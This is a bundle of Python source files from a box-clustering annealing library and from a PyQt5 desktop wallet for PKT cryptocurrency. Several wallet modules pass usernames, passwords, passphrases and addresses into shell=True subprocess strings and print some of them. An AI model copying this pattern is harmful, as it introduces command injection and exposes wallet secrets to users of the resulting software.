class BoxList(BaseBoxList):
def _random_bounded_pareto(self, limit):
d = np.inf
while d > limit:
d = int(np.ceil((np.random.pareto(0.5))))
return d
def _determine_takeover_size(self, limit):
takeover_size = 1
if limit > 1:
takeover_size = self._random_bounded_pareto(limit=limit)
return takeover_size
def right_join(self, box_pos, size=None):
"""
take some items from box on right.
amount of items taken is _random_bounded_pareto()
None is returned if no box to right.
(ie. box_pos at limit)
"""
# join with the one to the right
candidate = self.copy()
if box_pos == len(self.boxes) - 1:
return
current_edge = candidate[box_pos]
upper_bound = candidate[box_pos + 1]
takeover_limit = (upper_bound - current_edge)
if size is None:
takeover_size = self._determine_takeover_size(limit=takeover_limit)
else:
takeover_size = size
assert takeover_size <= takeover_limit
assert takeover_size >= 0
new_edge = current_edge + takeover_size
# if cut_location is the next box, remove current box
if new_edge == upper_bound:
candidate.pop(box_pos)
# if cut location is smaller than next box, move to next spot
else:
candidate[box_pos] = new_edge
return candidate
def left_join(self, box_pos, size=None):
"""
take some items from box on left.
amount of items taken is _random_bounded_pareto()
this moves the index of the box at box_pos - 1.
None is returned if no box to left.
(ie. box_pos = 0)
"""
candidate = self.copy()
if box_pos == 0:
return
lower_bound = 0 # seems like it should be one?
if box_pos > 1:
lower_bound = candidate[box_pos - 2]
current_edge = candidate[box_pos - 1]
takeover_limit = current_edge - lower_bound
if size is None:
takeover_size = self._determine_takeover_size(limit=takeover_limit)
else:
takeover_size = size
if takeover_size > takeover_limit:
print('takeover:', takeover_size, 'limit:', takeover_limit)
assert takeover_size <= takeover_limit
assert takeover_size >= 0
new_edge = current_edge - takeover_size
if new_edge == lower_bound:
candidate.pop(box_pos - 1)
else:
candidate[box_pos - 1] = new_edge
return candidate
def split(self, box_pos, size=None):
""" return a split list or None if box_pos doesn't work
new item gets inserted at box_pos and existing item
is shifted right.
ie. new item inserted left of existing item
all box_pos are possible
limitations, if the box in a given position is too small... no luck
"""
candidate = self.copy()
upper = candidate[box_pos]
lower = 1
if box_pos > 0:
lower = candidate[box_pos - 1]
r = upper - lower
if r <= 1:
return
if size is None:
cut_location = random.randrange(lower + 1, upper)
else:
assert size > 0
cut_location = upper - size
assert cut_location >= lower + 1
candidate.insert(box_pos, cut_location)
return candidate
def propose_move(self):
"""
1. pick a random position in box list
2. randomly pick if doing a split or join on position
"""
candidate = self.copy()
# split
if random.random() < 0.5 or len(self) == 1:
box_pos = random.randrange(len(self.boxes))
candidate = candidate.split(box_pos)
# join
else:
if random.random() < 0.5:
# join with the one to the left
box_pos = random.randrange(len(self.boxes) - 1)
candidate = candidate.right_join(box_pos)
else:
# join with the one to the right
box_pos = random.randrange(1, len(self.boxes))
candidate = candidate.left_join(box_pos)
return candidate
def to_matrix(self):
"""create coocurance matrix from boxlist"""
print(self)
N = self.boxes[-1]
matrix = np.zeros(shape=(N, N))
# diagonal always true
for i in range(N):
matrix[i, i] = 1
for begin, end in self.items():
a = range(begin, end)
for i, j in permutations(a, 2):
matrix[i, j] = 1
return matrix
@classmethod
def from_matrix(cls, matrix):
"""create boxlist from coocurance matrix"""
# TODO: clean this up. make it readable
row = 0
b = []
N = len(matrix)
for i in range(N):
diff = np.diff(matrix[row])
if -1 in diff:
p0 = np.argmin(diff) + 1
b.append(p0)
row = p0
else:
break
b.append(N)
return BoxList(boxes=b)
def calculate_fitness(self, matrix):
"""least squares
sum of squared error from mean within every box
+ the squared error from mean of every cell outside of a box
"""
fitness = 0.
n = len(matrix)
non_box_mask = np.ones(shape=(n, n), dtype=bool)
# evaluate the least-squares fitness for each box
for begin, end in self.items():
# print(begin, end)
non_box_mask[begin:end, begin:end] = False
if end - begin <= 1:
continue
box_nodes = matrix[begin:end, begin:end].copy()
# print(box_nodes)
np.fill_diagonal(box_nodes, np.nan)
# print(box_nodes)
m = np.nanmean(box_nodes)
# print(m)
sq = (box_nodes - m)**2
fitness += np.nansum(sq)
# print(fitness)
if non_box_mask.any():
# now do it for the non-box nodes
non_box_nodes = matrix[non_box_mask]
# print(non_box_nodes)
m = non_box_nodes.mean()
sq = (non_box_nodes - m)**2
fitness += sq.sum()
# print(fitness)
self.fitness = fitness
return fitness
|
peterwinter/boxcluster | boxcut.py | <gh_stars>1-10
import numpy as np
from itertools import count
from .boxlist import BoxList
from .anneal import Annealer
class BoxCut(Annealer):
maximize = False
def __init__(self, matrix):
self.matrix_size = len(matrix)
self.matrix = matrix
self._since_last_move = 0
self._moves_this_temp = 0
cooling_factor = 0.999
temperature = 0.001
finishing_criterion = 1
self.cooling_factor = cooling_factor
self.temp = temperature
self.finishing_criterion = finishing_criterion
def propose_move(self):
candidate = None
while candidate is None:
candidate = self.current.propose_move()
self.evaluate_fitness(candidate, matrix=self.matrix)
return candidate
def evaluate_fitness(self, candidate, **kwargs):
candidate.calculate_fitness(**kwargs)
def _initialize_state(self, boxes=None):
self._since_last_move = 0
self._moves_this_temp = 0
matrix = self.matrix
if boxes is None:
boxes = BoxList([n + 1 for n in range(len(matrix))])
self.evaluate_fitness(candidate=boxes, matrix=matrix)
self.current = boxes
def __call__(self,
cooling_factor=0.999,
temperature=0.001,
finishing_criterion=1,
boxes=None,
save_history=False):
# save input parameters
self.cooling_factor = cooling_factor
self.temp = temperature
self.finishing_criterion = finishing_criterion
self.history = []
# run solver
block_size = self.matrix_size
self._initialize_state(boxes=boxes)
for i in count():
trace = self.turn(i)
# print(trace)
# break if done
if self._break_condition():
break
# save states if appropriate
if save_history:
self.history.append(trace)
# increment temperature
if self._temp_block_finished(i, block_size):
self.decrease_temp()
return self.current
def _break_condition(self):
n = len(self.matrix)
lower_limit = 100
if n < lower_limit:
n = lower_limit
if self._since_last_move > n:
return True
return False
def decrease_temp(self):
# TODO: make depend on cooling factor
self.temp *= 0.9
|
artrepreneur/Vodun | resource.py | <gh_stars>1-10
# Copyright (c) 2020 <NAME>
# Use of this source code is governed by an MIT
# license that can be found in the LICENSE file.
import os, sys
def resource_path(relative_path):
#dir = QDir.currentPath()
if hasattr(sys, '_MEIPASS'):
return os.path.join(sys._MEIPASS, relative_path)
return os.path.join(os.path.abspath('.'), relative_path)
|
artrepreneur/Vodun | peerinf.py | <reponame>artrepreneur/Vodun
# Copyright (c) 2020 <NAME>
# Use of this source code is governed by an MIT
# license that can be found in the LICENSE file.
import subprocess
import os, sys, json
#from resource import *
def resource_path(relative_path):
if hasattr(sys, '_MEIPASS'):
return os.path.join(sys._MEIPASS, relative_path)
return os.path.join(os.path.abspath('.'), relative_path)
def get_inf(uname, pwd):
try:
cmd = "bin/pktctl -u "+ uname +" -P "+ pwd +" getpeerinfo"
result, err = subprocess.Popen(resource_path(cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()
#print('Result:', result)
result = json.loads(result.decode('utf-8'))
err = err.decode('utf-8')
if err:
print('Error:', err)
result = {}
return result
except Exception as e:
print('Exception:', e)
result = {}
return result
|
artrepreneur/Vodun | send.py | # Copyright (c) 2020 <NAME>
# Use of this source code is governed by an MIT
# license that can be found in the LICENSE file.
import subprocess, os, sys, json, threading, signal, traceback, rpcworker
from PyQt5.QtCore import *
from PyQt5 import QtWidgets
#from resource import resource_path
from rpcworker import progress_fn, thread_complete
_translate = QCoreApplication.translate
from config import MIN_CONF, MAX_CONF
def resource_path(relative_path):
if hasattr(sys, '_MEIPASS'):
return os.path.join(sys._MEIPASS, relative_path)
return os.path.join(os.path.abspath('.'), relative_path)
def execute2(u, p, a, pp, pd, win, state):
global window, uname, pwd, worker_state_active, address, pay_dict, passphrase
window = win
uname = u
pwd = p
worker_state_active = state
address = a
passphrase = pp
pay_dict = pd
window.label_6.clear()
try:
cmd = "bin/pktctl -u "+ uname +" -P "+ pwd +" --wallet walletpassphrase " + passphrase + ' 1000'
result, err = (subprocess.Popen(resource_path(cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())
result = result.decode('utf-8')
err = err.decode('utf-8')
if not err:
amount = 0
payments = ''
for i, item in enumerate(pay_dict):
item = str(item)
payments += item + ' ' + str(pay_dict[item])
amount += float(pay_dict[item])
if not len(pay_dict) == (i + 1):
payments +=', '
cmd = " " + payments + " '[" + '"' + address + '"' + "]'"
try:
cmd_2 = "bin/pktctl -u "+ uname +" -P "+ pwd +" --wallet sendfrom" + cmd + " 1"
print(cmd_2)
result_2, err_2 = subprocess.Popen(resource_path(cmd_2), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()
result_2 = result_2.decode('utf-8')
err_2 = err_2.decode('utf-8')
print(result_2, err_2)
if not err_2:
print('Transaction ID:', result_2)
window.lineEdit_7.clear()
# Relock wallet.
lock = "bin/pktctl -u "+ uname +" -P "+ pwd +" --wallet walletlock"
subprocess.Popen(resource_path(lock), shell=True, stdout=subprocess.PIPE).communicate()
window.lineEdit_7.setText(result_2)
try:
cmd_3 = "bin/pktctl -u "+ uname +" -P "+ pwd +" --wallet gettransaction " + result_2 + " true"
result_3, err_3 = subprocess.Popen(resource_path(cmd_3), shell=True, stdout=subprocess.PIPE).communicate()
if not err_3:
hex = json.loads(result_3)["hex"]
fee = str(format(round(float(json.loads(result_3)["fee"]), 8), '.8f'))
details = json.loads(result_3)["details"]
deet = ''
print('Transaction details:', details)
'''
for item in details:
if (item["category"] == "receive"):
addr = item["address"]
amount = str(format(round(float(item["amount"]), 8), '.8f'))
deet += 'You sent address: ' + addr + '\nthe amount: ' + amount + ' PKT\n\n'
'''
for i, item in enumerate(pay_dict):
deet += 'You sent address: ' + str(item) + '\nthe amount: ' + str(pay_dict[item]) + ' PKT\n\n'
deet += 'Your fees were: ' + fee + ' PKT'
window.textEdit_4.setText(deet.strip())
window.stackedWidget.setCurrentIndex(window.stackedWidget.indexOf(window.sent_page))
else:
print('Error:', err_3)
window.textEdit_4.setText(_translate("MainWindow","Could not get transaction details."))
except subprocess.CalledProcessError as e:
print('Error:', e.output)
else:
print('Error:', err_2)
if "waddrmgr.scriptAddress" in err_2:
window.label_6.setText(_translate("MainWindow","You are using a multisig sending address. You must use \"create multisig\" option under menu."))
elif "ErrRejectDust" in err_2:
window.label_6.setText(_translate("MainWindow","Transaction too small error."))
elif "InsufficientFundsError" in err_2:
window.label_6.setText(_translate("MainWindow","You have insufficient balance. Wait for a past transaction to confirm or fold your address."))
elif "RejInsufficientFee" in err_2:
window.label_6.setText(_translate("MainWindow","Insufficient fees error."))
elif "ErrOrphanTransactionDisallowed" in err_2:
window.label_6.setText(_translate("MainWindow","This transaction references and orphan output, try to resync."))
elif "TooManyInputsError:" in err_2:
window.label_6.setText(_translate("MainWindow","To complete this transaction you will need to fold all balances from this address."))
else:
window.label_6.setText(_translate("MainWindow","Unable to submit transaction. Make sure all payees have a valid address and amount."))
except subprocess.CalledProcessError as e:
print('Failed to submit transaction', e.output)
else:
if "ErrWrongPassphrase" in err:
print('Incorrect password.',err)
window.label_6.setText(_translate("MainWindow","Incorrect password."))
except subprocess.CalledProcessError as e:
print('Failed to unlock wallet.', e.output)
worker_state_active['SEND_PAY'] = False
|
artrepreneur/Vodun | pixMp.py | # Copyright (c) 2020 <NAME>
# Use of this source code is governed by an MIT
# license that can be found in the LICENSE file.
import os, sys
from PyQt5.QtGui import *
#from resource import resource_path
def resource_path(relative_path):
#dir = QDir.currentPath()
if hasattr(sys, '_MEIPASS'):
return os.path.join(sys._MEIPASS, relative_path)
return os.path.join(os.path.abspath('.'), relative_path)
def set_pixmaps():
# Pixmap Imgs
global pixmap_balance_btn, pixmap_balance_btn2, pixmap_addr_btn, pixmap_addr_btn2, pixmap_magic_btn, pixmap_magic_btn2
global icons, pixmap_send_btn, pixmap_send_btn2, pixmap_receive_btn, pixmap_receive_btn2, pixmap_transaction_btn, pixmap_transaction_btn2
pixmap_addr_btn = QPixmap(resource_path('img/glyphicons_325_wallet_blk@2x.png'))
pixmap_addr_btn2 = QPixmap(resource_path('img/glyphicons_325_wallet_blk_alt@2x.png'))
pixmap_balance_btn = QPixmap(resource_path('img/glyphicons_325_wallet@2x.png'))
pixmap_balance_btn2 = QPixmap(resource_path('img/glyphicons_325_wallet_alt@2x.png'))
pixmap_send_btn = QPixmap(resource_path('img/glyphicons_222_share@2x.png'))
pixmap_send_btn2 = QPixmap(resource_path('img/glyphicons_222_share_alt@2x.png'))
pixmap_receive_btn = QPixmap(resource_path('img/glyphicons_221_unshare@2x.png'))
pixmap_receive_btn2 = QPixmap(resource_path('img/glyphicons_221_unshare_alt@2x.png'))
pixmap_transaction_btn = QPixmap(resource_path('img/glyphicons_457_transfer@2x.png'))
pixmap_transaction_btn2 = QPixmap(resource_path('img/glyphicons_457_transfer_alt@2x.png'))
pixmap_magic_btn = QPixmap(resource_path('img/glyphicons_081_refresh@2x.png'))
pixmap_magic_btn2 = QPixmap(resource_path('img/glyphicons_081_refresh_alt@2x.png'))
icons = {'pixmap_magic_btn':pixmap_magic_btn, 'pixmap_magic_btn2':pixmap_magic_btn2, 'pixmap_addr_btn':pixmap_addr_btn, 'pixmap_addr_btn2':pixmap_addr_btn2, 'pixmap_balance_btn': pixmap_balance_btn, 'pixmap_balance_btn2':pixmap_balance_btn2, 'pixmap_send_btn':pixmap_send_btn, 'pixmap_send_btn2':pixmap_send_btn2, 'pixmap_receive_btn':pixmap_receive_btn, 'pixmap_receive_btn2':pixmap_receive_btn2,'pixmap_transaction_btn':pixmap_transaction_btn,'pixmap_transaction_btn2':pixmap_transaction_btn2}
return icons
|
artrepreneur/Vodun | createWallet.py | # Copyright (c) 2020 <NAME>
# Use of this source code is governed by an MIT
# license that can be found in the LICENSE file.
import subprocess, os, sys, json
import time
#from resource import resource_path
def resource_path(relative_path):
#dir = QDir.currentPath()
if hasattr(sys, '_MEIPASS'):
return os.path.join(sys._MEIPASS, relative_path)
return os.path.join(os.path.abspath('.'), relative_path)
def seed_execute(uname, pwd, pp, old_pass_line, seed_entry):
try:
cmd_result, err = subprocess.Popen(resource_path("bin/wallet -u "+uname+" -P "+pwd+" --create"), shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate(("{\"passphrase\":\""+pp+"\",\"seed\":\""+ seed_entry +"\",\"seedpassphrase\":\""+old_pass_line+"\"}").encode('utf-8'))
err = err.decode('utf-8')
print('cmd_result', cmd_result)
if err and not "pktwallet.conf does not exist" in err:
print('Error:', err)
cmd_result = {}
else:
cmd_result = json.loads(cmd_result.decode('utf-8'))
return cmd_result
except:
print("Could not create wallet")
return {}
def execute(uname, pwd, pp):
try:
cmd_result, err = subprocess.Popen(resource_path("bin/wallet -u "+uname+" -P "+pwd+" --create"), shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate(("{\"passphrase\":\""+pp+"\"}").encode('utf-8'))
err = err.decode('utf-8')
print(cmd_result, err)
if err and not cmd_result:
print('Error:', err)
cmd_result = {}
else:
cmd_result = json.loads(cmd_result.decode('utf-8'))
return cmd_result
except:
print("Could not create wallet")
return {}
|
artrepreneur/Vodun | estimate.py | <gh_stars>1-10
# Copyright (c) 2020 <NAME>
# Use of this source code is governed by an MIT
# license that can be found in the LICENSE file.
import subprocess, os, sys, json, threading, signal, traceback, rpcworker
from PyQt5.QtCore import *
from PyQt5 import QtWidgets
#from resource import resource_path
from rpcworker import progress_fn, thread_complete
_translate = QCoreApplication.translate
BLOCKS = 10
def resource_path(relative_path):
#dir = QDir.currentPath()
if hasattr(sys, '_MEIPASS'):
return os.path.join(sys._MEIPASS, relative_path)
return os.path.join(os.path.abspath('.'), relative_path)
def get_est(uname, pwd, progress_callback):
global err
err = False
# estimatefee RPC -- isn't implemented yet
'''
try:
cmd = "bin/pktctl -u "+ uname +" -P "+ pwd +" --wallet estimatefee " + str(BLOCKS)
result, err = (subprocess.Popen(resource_path(cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())
result = result.decode('utf-8')
err = err.decode('utf-8')
if err:
print('Error:', err)
return .00000001
else:
print('Fee estimate:', result)
return result
except subprocess.CalledProcessError as e:
print('Failed to retrieve fee estimate.', e.output)
return .00000001
'''
return .0000001
def fee(u, p, win, fee, state, pool):
global window, uname, pwd, worker_state_active, threadpool
window = win
uname = u
pwd = p
threadpool = pool
worker_state_active = state
window.lineEdit_6.clear()
window.lineEdit_6.setText('Retrieving fee...')
# Pass the function to execute
if not worker_state_active['EST']:
worker_state_active['EST'] = True
worker = rpcworker.Worker(get_est, uname, pwd) # Any other args, kwargs are passed to the run function
worker.signals.result.connect(print_result)
worker.signals.finished.connect(thread_complete)
worker.signals.progress.connect(progress_fn)
# Execute
threadpool.start(worker)
def print_result(result):
if err:
window.lineEdit_6.setText(_translate("MainWindow","No estimate found."))
else:
window.lineEdit_6.setText(_translate("MainWindow",str(format(round(float(result),8),'.8f'))))
window.lineEdit_3.setText(_translate("MainWindow",str(format(round(float(result),8),'.8f'))))
#fee = result
worker_state_active['EST'] = False
return result
|
artrepreneur/Vodun | getSeed.py | <filename>getSeed.py
# Copyright (c) 2020 <NAME>
# Use of this source code is governed by an MIT
# license that can be found in the LICENSE file.
import subprocess, os, sys, json, threading, signal, traceback, rpcworker
from PyQt5.QtCore import *
from PyQt5 import QtWidgets
#from resource import resource_path
from rpcworker import progress_fn, thread_complete
_translate = QCoreApplication.translate
def resource_path(relative_path):
#dir = QDir.currentPath()
if hasattr(sys, '_MEIPASS'):
return os.path.join(sys._MEIPASS, relative_path)
return os.path.join(os.path.abspath('.'), relative_path)
def retrieve():
global err, err_2
try:
cmd = "bin/pktctl -u "+ uname +" -P "+ pwd +" --wallet walletpassphrase " + passphrase + ' 1<PASSWORD>'
result, err = (subprocess.Popen(resource_path(cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())
result = result.decode('utf-8')
err = err.decode('utf-8')
if not err:
try:
cmd_2 = "bin/pktctl -u "+ uname +" -P "+ pwd +" --wallet getwalletseed"
result_2, err_2 = (subprocess.Popen(resource_path(cmd_2), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())
result_2 = result_2.decode('utf-8')
err_2 = err_2.decode('utf-8')
if not err_2:
return result_2
else:
print('Error:', err_2)
return "Failed to retrieve wallet seed. This is likely a legacy wallet."
except subprocess.CalledProcessError as e:
msg = "Failed to retrieve wallet seed. This is likely a legacy wallet."
print(msg, e.output)
return msg
else:
if "ErrWrongPassphrase" in err:
msg = "Incorrect password entered."
print(msg, err)
except subprocess.CalledProcessError as e:
msg = "Failed to unlock wallet."
print(msg, e.output)
def execute(u, p, pp, win, state): #, pool
global window, uname, pwd, worker_state_active, passphrase
window = win
uname = u
pwd = p
worker_state_active = state
#threadpool = pool
passphrase = pp
return retrieve()
|
artrepreneur/Vodun | MainWindow.py | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'mainwindow.ui'
#
# Created by: PyQt5 UI code generator 5.14.2
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_MainWindow(object):
def setupUi(self, MainWindow):
MainWindow.setObjectName("MainWindow")
MainWindow.setEnabled(True)
MainWindow.resize(1030, 883)
MainWindow.setMinimumSize(QtCore.QSize(0, 34))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
MainWindow.setFont(font)
MainWindow.setAcceptDrops(False)
MainWindow.setStyleSheet("color: black")
MainWindow.setAnimated(True)
MainWindow.setDocumentMode(True)
self.centralwidget = QtWidgets.QWidget(MainWindow)
self.centralwidget.setStyleSheet("")
self.centralwidget.setObjectName("centralwidget")
self.gridLayout = QtWidgets.QGridLayout(self.centralwidget)
self.gridLayout.setContentsMargins(0, 0, 0, 0)
self.gridLayout.setSpacing(0)
self.gridLayout.setObjectName("gridLayout")
self.menu_frame = QtWidgets.QFrame(self.centralwidget)
self.menu_frame.setMinimumSize(QtCore.QSize(230, 0))
self.menu_frame.setMaximumSize(QtCore.QSize(230, 16777215))
font = QtGui.QFont()
font.setFamily("Tahoma")
font.setPointSize(50)
self.menu_frame.setFont(font)
self.menu_frame.setMouseTracking(True)
self.menu_frame.setStyleSheet("background-color: rgb(2, 45, 147);\n"
"\n"
"")
self.menu_frame.setFrameShape(QtWidgets.QFrame.NoFrame)
self.menu_frame.setFrameShadow(QtWidgets.QFrame.Raised)
self.menu_frame.setLineWidth(0)
self.menu_frame.setObjectName("menu_frame")
self.gridLayout_2 = QtWidgets.QGridLayout(self.menu_frame)
self.gridLayout_2.setObjectName("gridLayout_2")
self.frame_3 = QtWidgets.QFrame(self.menu_frame)
self.frame_3.setMinimumSize(QtCore.QSize(0, 250))
self.frame_3.setMaximumSize(QtCore.QSize(16777215, 250))
self.frame_3.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_3.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_3.setLineWidth(0)
self.frame_3.setObjectName("frame_3")
self.gridLayout_2.addWidget(self.frame_3, 2, 0, 1, 1)
self.label_25 = QtWidgets.QLabel(self.menu_frame)
self.label_25.setMinimumSize(QtCore.QSize(0, 70))
self.label_25.setMaximumSize(QtCore.QSize(16777215, 70))
self.label_25.setText("")
self.label_25.setPixmap(QtGui.QPixmap("../PKT-Cash-Wallet/img/app_icon.png"))
self.label_25.setObjectName("label_25")
self.gridLayout_2.addWidget(self.label_25, 0, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.frame = QtWidgets.QFrame(self.menu_frame)
self.frame.setMinimumSize(QtCore.QSize(0, 0))
self.frame.setMaximumSize(QtCore.QSize(16777215, 300))
self.frame.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame.setLineWidth(0)
self.frame.setObjectName("frame")
self.gridLayout_2.addWidget(self.frame, 3, 0, 1, 1)
self.gridLayout.addWidget(self.menu_frame, 0, 0, 2, 1)
self.body_frame = QtWidgets.QFrame(self.centralwidget)
self.body_frame.setStyleSheet("background-color: rgb(229, 231, 238);")
self.body_frame.setFrameShape(QtWidgets.QFrame.NoFrame)
self.body_frame.setFrameShadow(QtWidgets.QFrame.Plain)
self.body_frame.setLineWidth(-5)
self.body_frame.setObjectName("body_frame")
self.gridLayout_3 = QtWidgets.QGridLayout(self.body_frame)
self.gridLayout_3.setContentsMargins(0, 0, 0, 0)
self.gridLayout_3.setObjectName("gridLayout_3")
self.stackedWidget = QtWidgets.QStackedWidget(self.body_frame)
self.stackedWidget.setMinimumSize(QtCore.QSize(0, 65))
self.stackedWidget.setToolTip("")
self.stackedWidget.setStyleSheet("background-color: rgb(242, 248, 249);")
self.stackedWidget.setFrameShape(QtWidgets.QFrame.Box)
self.stackedWidget.setFrameShadow(QtWidgets.QFrame.Plain)
self.stackedWidget.setLineWidth(0)
self.stackedWidget.setObjectName("stackedWidget")
self.balance_page = QtWidgets.QWidget()
self.balance_page.setObjectName("balance_page")
self.verticalLayout = QtWidgets.QVBoxLayout(self.balance_page)
self.verticalLayout.setObjectName("verticalLayout")
self.frame_22 = QtWidgets.QFrame(self.balance_page)
self.frame_22.setMinimumSize(QtCore.QSize(0, 100))
self.frame_22.setStyleSheet("")
self.frame_22.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_22.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_22.setObjectName("frame_22")
self.gridLayout_12 = QtWidgets.QGridLayout(self.frame_22)
self.gridLayout_12.setObjectName("gridLayout_12")
self.balance_group = QtWidgets.QGroupBox(self.frame_22)
self.balance_group.setMinimumSize(QtCore.QSize(0, 0))
self.balance_group.setMaximumSize(QtCore.QSize(16777215, 200))
self.balance_group.setStyleSheet("")
self.balance_group.setTitle("")
self.balance_group.setObjectName("balance_group")
self.verticalLayout_2 = QtWidgets.QVBoxLayout(self.balance_group)
self.verticalLayout_2.setObjectName("verticalLayout_2")
self.balance_header_frame = QtWidgets.QFrame(self.balance_group)
self.balance_header_frame.setMinimumSize(QtCore.QSize(0, 65))
self.balance_header_frame.setMaximumSize(QtCore.QSize(16777215, 70))
self.balance_header_frame.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border-radius: 8px;\n"
"")
self.balance_header_frame.setFrameShape(QtWidgets.QFrame.NoFrame)
self.balance_header_frame.setFrameShadow(QtWidgets.QFrame.Plain)
self.balance_header_frame.setObjectName("balance_header_frame")
self.verticalLayout_15 = QtWidgets.QVBoxLayout(self.balance_header_frame)
self.verticalLayout_15.setObjectName("verticalLayout_15")
self.balance_header_label = QtWidgets.QLabel(self.balance_header_frame)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setItalic(False)
font.setWeight(75)
self.balance_header_label.setFont(font)
self.balance_header_label.setStyleSheet("")
self.balance_header_label.setObjectName("balance_header_label")
self.verticalLayout_15.addWidget(self.balance_header_label)
self.verticalLayout_2.addWidget(self.balance_header_frame, 0, QtCore.Qt.AlignVCenter)
self.line_2 = QtWidgets.QFrame(self.balance_group)
self.line_2.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_2.setFrameShape(QtWidgets.QFrame.HLine)
self.line_2.setObjectName("line_2")
self.verticalLayout_2.addWidget(self.line_2)
self.balance_frame = QtWidgets.QFrame(self.balance_group)
self.balance_frame.setMinimumSize(QtCore.QSize(0, 50))
self.balance_frame.setMaximumSize(QtCore.QSize(16777215, 50))
self.balance_frame.setStyleSheet("QFrame#balance_frame{border-radius: 4px; background-color: rgb(240, 246, 248);}\n"
"\n"
"\n"
"")
self.balance_frame.setFrameShape(QtWidgets.QFrame.NoFrame)
self.balance_frame.setFrameShadow(QtWidgets.QFrame.Plain)
self.balance_frame.setLineWidth(0)
self.balance_frame.setObjectName("balance_frame")
self.gridLayout_8 = QtWidgets.QGridLayout(self.balance_frame)
self.gridLayout_8.setContentsMargins(12, -1, -1, -1)
self.gridLayout_8.setObjectName("gridLayout_8")
self.balance_amount = QtWidgets.QLabel(self.balance_frame)
self.balance_amount.setMinimumSize(QtCore.QSize(0, 30))
self.balance_amount.setMaximumSize(QtCore.QSize(16777215, 30))
font = QtGui.QFont()
font.setPointSize(18)
self.balance_amount.setFont(font)
self.balance_amount.setStyleSheet("")
self.balance_amount.setObjectName("balance_amount")
self.gridLayout_8.addWidget(self.balance_amount, 0, 1, 1, 1)
self.total_label = QtWidgets.QLabel(self.balance_frame)
self.total_label.setMinimumSize(QtCore.QSize(0, 30))
self.total_label.setMaximumSize(QtCore.QSize(60, 30))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(18)
font.setBold(True)
font.setWeight(75)
self.total_label.setFont(font)
self.total_label.setStyleSheet("")
self.total_label.setObjectName("total_label")
self.gridLayout_8.addWidget(self.total_label, 0, 0, 1, 1)
self.recalc_btn = QtWidgets.QPushButton(self.balance_frame)
self.recalc_btn.setStyleSheet("background-color: rgb(245, 252, 255);")
self.recalc_btn.setObjectName("recalc_btn")
self.gridLayout_8.addWidget(self.recalc_btn, 0, 2, 1, 1, QtCore.Qt.AlignRight)
self.verticalLayout_2.addWidget(self.balance_frame)
self.gridLayout_12.addWidget(self.balance_group, 0, 0, 1, 1)
self.addresses_group = QtWidgets.QGroupBox(self.frame_22)
self.addresses_group.setStyleSheet("")
self.addresses_group.setTitle("")
self.addresses_group.setObjectName("addresses_group")
self.gridLayout_6 = QtWidgets.QGridLayout(self.addresses_group)
self.gridLayout_6.setObjectName("gridLayout_6")
self.line_3 = QtWidgets.QFrame(self.addresses_group)
self.line_3.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_3.setFrameShape(QtWidgets.QFrame.HLine)
self.line_3.setObjectName("line_3")
self.gridLayout_6.addWidget(self.line_3, 2, 0, 1, 1)
self.frame_82 = QtWidgets.QFrame(self.addresses_group)
self.frame_82.setMinimumSize(QtCore.QSize(0, 40))
self.frame_82.setStyleSheet("QFrame#frame_82{background-color: rgba(255, 255, 255, 0);}")
self.frame_82.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_82.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_82.setObjectName("frame_82")
self.gridLayout_105 = QtWidgets.QGridLayout(self.frame_82)
self.gridLayout_105.setObjectName("gridLayout_105")
self.all_addr_btn = QtWidgets.QPushButton(self.frame_82)
self.all_addr_btn.setMinimumSize(QtCore.QSize(100, 0))
self.all_addr_btn.setToolTip("")
self.all_addr_btn.setObjectName("all_addr_btn")
self.gridLayout_105.addWidget(self.all_addr_btn, 0, 1, 1, 1)
self.address_gen_btn2 = QtWidgets.QPushButton(self.frame_82)
self.address_gen_btn2.setMinimumSize(QtCore.QSize(100, 0))
self.address_gen_btn2.setMaximumSize(QtCore.QSize(16777215, 16777215))
self.address_gen_btn2.setToolTip("")
self.address_gen_btn2.setObjectName("address_gen_btn2")
self.gridLayout_105.addWidget(self.address_gen_btn2, 0, 3, 1, 1)
self.bal_addr_btn = QtWidgets.QPushButton(self.frame_82)
self.bal_addr_btn.setMinimumSize(QtCore.QSize(100, 0))
self.bal_addr_btn.setToolTip("")
self.bal_addr_btn.setObjectName("bal_addr_btn")
self.gridLayout_105.addWidget(self.bal_addr_btn, 0, 0, 1, 1)
self.gridLayout_6.addWidget(self.frame_82, 5, 0, 1, 1)
self.address_header_frame = QtWidgets.QFrame(self.addresses_group)
self.address_header_frame.setMinimumSize(QtCore.QSize(0, 65))
self.address_header_frame.setMaximumSize(QtCore.QSize(16777215, 65))
self.address_header_frame.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border-radius: 4px;")
self.address_header_frame.setFrameShape(QtWidgets.QFrame.NoFrame)
self.address_header_frame.setFrameShadow(QtWidgets.QFrame.Raised)
self.address_header_frame.setObjectName("address_header_frame")
self.gridLayout_23 = QtWidgets.QGridLayout(self.address_header_frame)
